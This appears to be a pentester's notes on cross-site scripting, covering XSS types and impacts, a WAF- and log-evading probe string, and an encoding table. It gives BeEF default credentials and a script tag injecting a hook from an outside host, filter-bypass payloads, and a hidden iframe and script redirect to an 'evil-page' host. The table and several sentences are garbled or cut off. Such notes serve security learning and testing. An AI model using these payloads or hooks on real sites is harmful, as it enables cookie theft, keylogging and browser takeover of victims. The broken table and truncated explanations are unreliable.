Cross-site-scripting, or XSS as it is sometimes abbreviated to, is an attack that let's the attacker execute javascript code in the browser of the victim.
The attacker is probably not that interested in changing the color or font of the website the victim is visiting. Although s/he could do that. The worst that can happen is probably the following:
- Complete control over the browser The attacker can access plugins. Like password managers. The attacker can trick the user into allowing webcam or audio.
- Session-hijacking/Cookie theft This is when the attacker steals the cookie that is saved in the browser. Using this cookie the attacker can log in to the service as the victim, and thereby gain access to his/her account. If the victim is an admin that has extended privileges (uploading code, images, or whatever) this could lead to a compromise of the server itself.
- Keylogger The attacker can execute a keylogging-script that steals everything the user inputs in the website. This could be used to steal sensitive information, like passwords, credit cards information, chatlogs or whatever the user inputs.
- Phishing The attacker can insert a fake login. Image that you visit a site, and from that site you are able to login using your facebook or google-account. The attacker could spoof that so that when you enter your credentials, they are then sent to the attacker.
- Browser exploits The script can redirect to a another page that issues an attack against the browser, possibly leading to total takeover of the machine.
- Persistent This is when the malicious code originates from the websites database. That means the attacker has managed to insert malicious code into the database. So every time the database serve that data the script will me executed. this is probably the most dangerous XSS, since it does not need to rely on social engineering.
- Reflected This is an attack where the script originates from the users request. This might seem a bit illogical, why would a user inject malicious code to himself? Well the code can
- DOM based DOM-based attacks are when something is injected into javascript on the DOM. So, it does not go by the server. Because the code gets executed in the response. Take a search-functionality for example. The users enters a search-parameter that gets sent to the server which might sanitize it or something. In the response the found search-items are sent, but not the search-query. But on the webpage the search query is exposed. "You searched for X" is shown. That is because it gets the search parameter from the url-parameter. By using
document.location.hreffor example.
It is better to use something along the lines of: AAAA'">< to test for cross site scripting instead of the classic example of <script>alert(1);</script> . Along with being significantly more likely to be detected by any WAF possibly on the site, it also looks much less suspicious in the web servers logs leading to a lower chance of detection.
| Payload | Result | Exploitation |
| --- | --- | --- | --- | --- |
| AAAA'">< | AAAA'">< | No encoding performed, you can get a Cross-Site Scripting using <script> tag. |
| AAAA'">< | AAAA'">< | > and < are encoded, you can still find some Cross-Site Scripting bugs if you can inject directly inside a <script> tag, or in some tags like <a tag and <img tag. Also this encoding may not be applied everywhere. |
| AAAA'">< | AAAA'">< | This is the encoding performed by a lot of filters. You can still get JavaScript to execute if you are injecting inside a <script> tag where your entry point is delimited by a single quote |
| AAAA'">< | AAAA'">< | With this encoding, you will still be able to get JavaScript executed in very limited cases. For example, if the value is directly echoed without single or double quote <a id=[INPUT] or if you control a URL for example <a href="[INPUT]" and you can use the JavaScript handler: javascript:... |
Beef username/password: beef:beef Beef is a great tool for attacking browsers.
After starting it up you can log in to the panel. Then you get someone to execute the hook. Hook URL: http://172.17.15.118:3000/hook.js UI URL: http://172.17.15.118:3000/ui/panel
By injecting the hook into a XSS. Like this
<script src="http://172.17.15.118:3000/hook.js"></script>
Let's look at a practical example.
The problem with XSS is that it is a bit hard for the users to protect themselves. If there is a problem witht the website there is not that much the user can do.
One can always use noscript to block all javascript code. But that pretty much destroys the whole experience with using the internet.
There are mainly two ways to protect against encoding and sanitizing .
Encoding
Of course the way to protect your website is to sanitize all input.
You can also set the response-header like this: -xss-protection:"1; mode=block"
For nodeJs you can use the helmet-module to do this. https://www.npmjs.com/package/helmet
The obvious risk is that the attacker must expose a server.
XSSER
This tool tests a lot of
xsser --gtk
Xssposed
This is a tool found in recon-ng. It basically just check this (https://www.openbugbounty.org/ ) database to see if anyone has reported a xss for the website.
This is a good list:
https://www.linkedin.com/pulse/20140812222156-79939846-xss-vectors-you-may-need-as-a-pen-tester
<script>alert(1)</script>
Imagine that the server sanitizes <script>. To bypass that we can use: <SCrIpt>alert(2)</ScRiPt> <script type=text/javascript>alert(2)</script>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG onmouseover="alert('xxs')">
<a onmouseover="alert(2)">d</a>
Most attacks against browsers is based on social engineering. The idea is that you trick the user to click on a link. That link, or that website, is usually controlled by the attacker in one way or another. It can be a legitimate site that the attacker is using, or it might be the attackers own server.
Foe example, if the attacker is able to inject code html or javascript the attacker can redirect the user to load another page.
One technique is to hide the redirection in a frame, this way the user won't even notice that an external page is being loaded.
<iframe SRC="http://192.168.1.101/evil-page" height = "0" width ="0"></iframe>
A less subtle technique is by just redirecting the user, with a script like this:
<script>location.href='http://192.168.1.101/evil-page';</script>
http://brutelogic.com.br/blog/probing-to-find-xss/ http://excess-xss.com/